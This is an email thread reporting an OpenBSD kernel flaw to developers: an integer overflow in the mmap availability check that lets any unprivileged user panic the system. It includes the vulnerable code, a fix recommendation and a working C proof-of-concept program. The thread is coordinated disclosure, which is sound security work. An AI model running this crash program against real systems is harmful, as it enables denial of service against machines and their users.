Hi Tim,

Yes, a fix is being discussed ATM.. we'll let you know shortly I believe.

On Mon, Aug 1, 2016 at 12:38 PM, Jesse Hertz <jesse.hertz@nccgroup.trust>
wrote:

> Hi All,
>
> Is a fix for this in the works? We’d like to be able to point to a fix
> before posting to oss-sec :)
>
> Best,
> -jh
> > On Jul 28, 2016, at 8:58 PM, Tim Newsham <Tim.Newsham@nccgroup.trust>
> wrote:
> >
> > Hi,  We just came across another issue that allows a user to crash the
> system through mmap.  Despite trying, we didn't notice any more serious
> privilege escalation opportunities.
> >
> > /*
> > * mmap_dup_panic.c
> > *    Demonstrate a panic through the mmap system call.
> > *
> > * gcc -g mmap_dup_panic.c -o mmap_dup_panic
> > */
> >
> > #ifdef BUG_WRITEUP //---------------------------------------------------
> > Any user can trigger a panic in mmap with an overlapping mapping
> >
> > Impact:
> > Any user can trigger a panic by requesting a large mapping
> > that overlaps with an existing mapping.
> >
> > Description:
> > It is possible for an mmap() call to request a mapping at a
> > virtual address that overlaps an existing mapping.  This is checked
> > for in uvm_map() by calling uvm_map_isavail() with the hint address and
> > size..  There is a flaw in uvm_map_isavail() when the requested size is
> very
> > large. The code looks up the maps at the start and end address with:
> >
> >    if (*start_ptr == NULL) {
> >        *start_ptr = uvm_map_entrybyaddr(atree, addr);
> >        if (*start_ptr == NULL)
> >            return 0;
> >    } else
> >        KASSERT(*start_ptr == uvm_map_entrybyaddr(atree, addr));
> >    if (*end_ptr == NULL) {
> >        if (VMMAP_FREE_END(*start_ptr) >= addr + sz)
> >            *end_ptr = *start_ptr;
> >        else {
> >            *end_ptr = uvm_map_entrybyaddr(atree, addr + sz - 1);
> >            if (*end_ptr == NULL)
> >                return 0;
> >        }
> >    } else
> >        KASSERT(*end_ptr == uvm_map_entrybyaddr(atree, addr + sz - 1));
> >
> > Due to an integer overflow that can occur when computing
> > "addr + sz" it is possible for the end_ptr map to be
> > computed incorrectly (setting "*end_ptr = *start_ptr"). Later
> > when this same function iterates over the maps between the start
> > and end maps, the function may fail to notice that a large mapping
> > overlaps with an existing mapping.
> >
> > If uvm_map_isavail() indicates that the hint address is available,
> > uvm_map() will continue its processing without assigning a new
> > address.  It will eventually call uvm_map_fix_space() which
> > performs its own sanity lookup with uvm_mapent_addr_insert(),
> > and panics if an overlapping mapping is added:
> >
> >    res = RB_INSERT(uvm_map_addr, &map->addr, entry);
> >    if (res != NULL) {
> >        panic("uvm_mapent_addr_insert: map %p entry %p "
> >            "(0x%lx-0x%lx G=0x%lx F=0x%lx) insert collision "
> >            "with entry %p (0x%lx-0x%lx G=0x%lx F=0x%lx)",
> >            map, entry,
> >            entry->start, entry->end, entry->guard, entry->fspace,
> >            res, res->start, res->end, res->guard, res->fspace);
> >    }
> >
> > An attacker can take advantage of this to intentionally
> > trigger a panic to crash the system.  This does not require
> > any special privileges.
> >
> > In theory this flaw might allow an attacker to make a mapping
> > that wraps around from user addresses, through kernel addresses
> > and back to low user addresses.  Such a mapping might allow
> > access to kernel memory or to the NULL page (useful for performing
> > certain attacks against NULL pointer use in the kernel).
> > However NCC was unable to find any way to create such a mapping
> > without causing a panic since it does not appear to be possible
> > to make a mapping above the stack segment.  All wrap-around mappings
> > lower than this address overlap with the stack segment and result
> > in a panic.
> >
> > Reproduction:
> > Run the attached mmap_dup_panic.c program. It first maps a
> > page in and then performs a second mmap() call to request
> > another mapping at the next page address.  This second mapping overlaps
> > the first due to the large size, and causes a panic message such as
> > "panic: uvm_mapent_addr_insert: map 0xffffff00036be300 entry
> 0xffffff000311d178 (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x200000000)
> insert collision with entry 0xffffff000272de08
> (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x1000)"
> > NCC Group was able to reproduce this issue on OpenBSD 5.9-stable kernel
> > pulled from CVS on July 25, 2016.
> >
> > Recommendation:
> > Detect when "addr + sz" causes an integer overflow in uvm_map_isavail().
> > Return zero indicating that this mapping is not available in this case.
> >
> > Reported: 2016-07-28
> > Fixed:    notyet
> > #endif // BUG_WRITEUP ---------------------------------------------------
> >
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <fcntl.h>
> > #include <unistd.h>
> > #include <sys/mman.h>
> >
> > void xperror(int cond, char *msg)
> > {
> >    if(cond) {
> >        perror(msg);
> >        exit(1);
> >    }
> > }
> >
> > int main(int argc, char **argv)
> > {
> >    int fd;
> >    char *p, *pg;
> >
> >    fd = open("/tmp/mapfile", O_RDWR|O_CREAT, 0666);
> >    xperror(fd == -1, "/tmp/mapfile");
> >    write(fd, "testing\n", 8);
> >
> >    pg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE |
> MAP_ANONYMOUS, -1, 0);
> >    xperror(pg == MAP_FAILED, "mmap");
> >
> >    p = mmap(pg+4096, 0xffffff0000000000, 0, 0, fd, 0);
> >    xperror(pg == MAP_FAILED, "mmap2");
> >    printf("no crash!\n");
> >    return 0;
> > }
> >
> > Tim Newsham
> > Distinguished Security Engineer, Security Consulting
> > NCC Group
> > Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE
> CB2F 402D 3DF0
> >
>
>

Reply via email to